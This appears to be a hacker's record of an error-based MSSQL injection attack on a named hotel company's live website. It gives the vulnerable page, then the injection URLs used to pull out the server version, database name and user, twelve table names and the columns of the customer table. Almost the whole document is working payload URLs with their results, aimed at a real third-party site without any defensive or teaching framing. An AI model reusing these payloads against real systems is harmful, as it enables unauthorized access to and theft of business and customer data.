Tiaraa MsSQL Injection Progression

Website: http://www.tiara-hotels.com/
Vulnerable Link: http://www.tiara-hotels.com/hotel.asp?id_hotel=1'
Vulnerability: MsSQL Injection (Not Blind)
######################################################################################################################################################
Version: X64 2010 64-bit Windows NT 5.2 Service Pack2
http://www.tiara-hotels.com/hotel.asp?id_hotel=@@version
######################################################################################################################################################
Database Name: tiaraSQL
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,db_name())--
######################################################################################################################################################
Current User: tiaraleitura
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,user_name())--
######################################################################################################################################################
Table1: table_CONTEUDOS
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables))--

Table2: table_FREE_PAGES
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table_CONTEUDOS')))--

Table3: table_GALERIA
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table_CONTEUDOS','table_FREE_PAGES')))--

Table4: table_GALERIA_BLOCO
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table_CONTEUDOS','table_FREE_PAGES','table_GALERIA')))--

Table5: table_HEADER
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table_CONTEUDOS','table_FREE_PAGES','table_GALERIA','table_GALERIA_BLOCO')))--

Table6: table_HOTEL
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table_CONTEUDOS','table_FREE_PAGES','table_GALERIA','table_GALERIA_BLOCO','table_HEADER')))--

Table7: table_CLIENTE
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table_CONTEUDOS','table_FREE_PAGES','table_GALERIA','table_GALERIA_BLOCO','table_HEADER','table_HOTEL')))--

Table8: table_LANDING_PAGE
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table_CONTEUDOS','table_FREE_PAGES','table_GALERIA','table_GALERIA_BLOCO','table_HEADER','table_HOTEL','table_CLIENTE')))--

Table9: table_UTILIZADORES_HOTEL
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table_CONTEUDOS','table_FREE_PAGES','table_GALERIA','table_GALERIA_BLOCO','table_HEADER','table_HOTEL','table_CLIENTE','table_LANDING_PAGE')))--

Table10: table_PRESS
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table_CONTEUDOS','table_FREE_PAGES','table_GALERIA','table_GALERIA_BLOCO','table_HEADER','table_HOTEL','table_CLIENTE','table_LANDING_PAGE','table_UTILIZADORES_HOTEL')))--

Table11: table_PRESS_CATEGORIA
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table_CONTEUDOS','table_FREE_PAGES','table_GALERIA','table_GALERIA_BLOCO','table_HEADER','table_HOTEL','table_CLIENTE','table_LANDING_PAGE','table_UTILIZADORES_HOTEL','table_PRESS')))--

Table12: table_PROMOCOES_HOTEL
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table_CONTEUDOS','table_FREE_PAGES','table_GALERIA','table_GALERIA_BLOCO','table_HEADER','table_HOTEL','table_CLIENTE','table_LANDING_PAGE','table_UTILIZADORES_HOTEL','table_PRESS','table_PRESS_CATEGORIA')))--
#######################################################################
#######################################################################
Extracting column from table: "table_CLIENTE"

Column1: ID
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table_CLIENTE'))--

Column2: CLIENTE
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table_CLIENTE'+and+column_name+not+in+('ID')))--

Column3: ESTATISTICAS
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table_CLIENTE'+and+column_name+not+in+('ID','CLIENTE')))--

Column4: WEBMAIL
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table_CLIENTE'+and+column_name+not+in+('ID','CLIENTE','ESTATISTICAS')))--

Column5: AUTOR
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table_CLIENTE'+and+column_name+not+in+('ID','CLIENTE','ESTATISTICAS','WEBMAIL')))--

Column6: NOME
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table_CLIENTE'+and+column_name+not+in+('ID','CLIENTE','ESTATISTICAS','WEBMAIL','AUTOR')))--

Column7: URLSITE
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table_CLIENTE'+and+column_name+not+in+('ID','CLIENTE','ESTATISTICAS','WEBMAIL','AUTOR','NOME')))--

Column8: URLBLUESOFT
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table_CLIENTE'+and+column_name+not+in+('ID','CLIENTE','ESTATISTICAS','WEBMAIL','AUTOR','NOME','URLSITE')))--

Column9: upsize_ts
http://www.tiara-hotels.com/hotel.asp?id_hotel=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table_CLIENTE'+and+column_name+not+in+('ID','CLIENTE','ESTATISTICAS','WEBMAIL','AUTOR','NOME','URLSITE','URLBLUESOFT')))--
######################################################################################################################################################